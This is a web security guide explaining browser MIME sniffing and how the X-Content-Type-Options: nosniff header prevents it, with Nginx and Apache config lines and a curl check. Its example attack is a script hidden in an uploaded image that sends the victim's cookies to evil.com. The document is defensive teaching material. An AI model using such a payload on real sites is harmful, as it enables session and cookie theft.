MIME sniffing is a browser behavior where the browser ignores the Content-Type header sent by the server and instead guesses the type of a resource by examining its content. While intended to handle misconfigured servers gracefully, this feature has been exploited in numerous attacks to execute scripts disguised as innocent file types.
The X-Content-Type-Options: nosniff header disables this behavior entirely. It is one of the simplest and most universally applicable security headers, covered in our complete security headers guide.
When a server sends a response, it should include a Content-Type header specifying the MIME type: text/html, image/png, application/json, and so on. However, servers have historically been unreliable about this. Some send text/plain for HTML files, or omit the header entirely.
To cope, browsers developed MIME sniffing: they read the first few hundred bytes of the response body and look for signatures (magic bytes, HTML tags, script patterns) to determine the actual type. Internet Explorer was particularly aggressive about this.
Consider a file upload feature that accepts images. An attacker uploads a file named profile.jpg whose content actually contains:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>If the server serves this file with Content-Type: image/jpeg but the browser sniffs the content and decides it is actually text/html, the script executes in the context of your domain, stealing cookies and session tokens.
This class of attack has been used to:
X-Content-Type-Options: nosniffWhen this header is present, the browser strictly follows the Content-Type header and never sniffs. If the server says it is image/jpeg, the browser treats it as an image — period. If the content does not match the declared type, it fails to render rather than guessing.
Specifically, nosniff does two things:
text/plain will not be treated as text/html).add_header X-Content-Type-Options "nosniff" always;Header always set X-Content-Type-Options "nosniff"Setting nosniff means your server must send correct Content-Type headers. Verify the following:
text/html; charset=utf-8application/javascript or text/javascripttext/cssapplication/jsonimage/png, image/jpeg, image/svg+xml)Nginx and Apache both handle this automatically through their MIME type configuration files (mime.types). Problems usually arise with dynamically generated responses where the application framework does not set the type explicitly.
All modern browsers support X-Content-Type-Options: nosniff. Chrome, Firefox, Safari, and Edge all respect it. There is no compatibility reason to omit this header.
Use our MIME sniffing test tool to verify the header is present. You can also audit all your security headers at once. From the command line:
curl -sI https://example.com | grep -i x-content-typeThis header has zero downsides when your server sends correct MIME types, which it should already be doing. For a broader view of all essential headers, see our security headers guide. Also consider reviewing your Content Security Policy, which provides an additional layer of protection against the same class of injection attacks.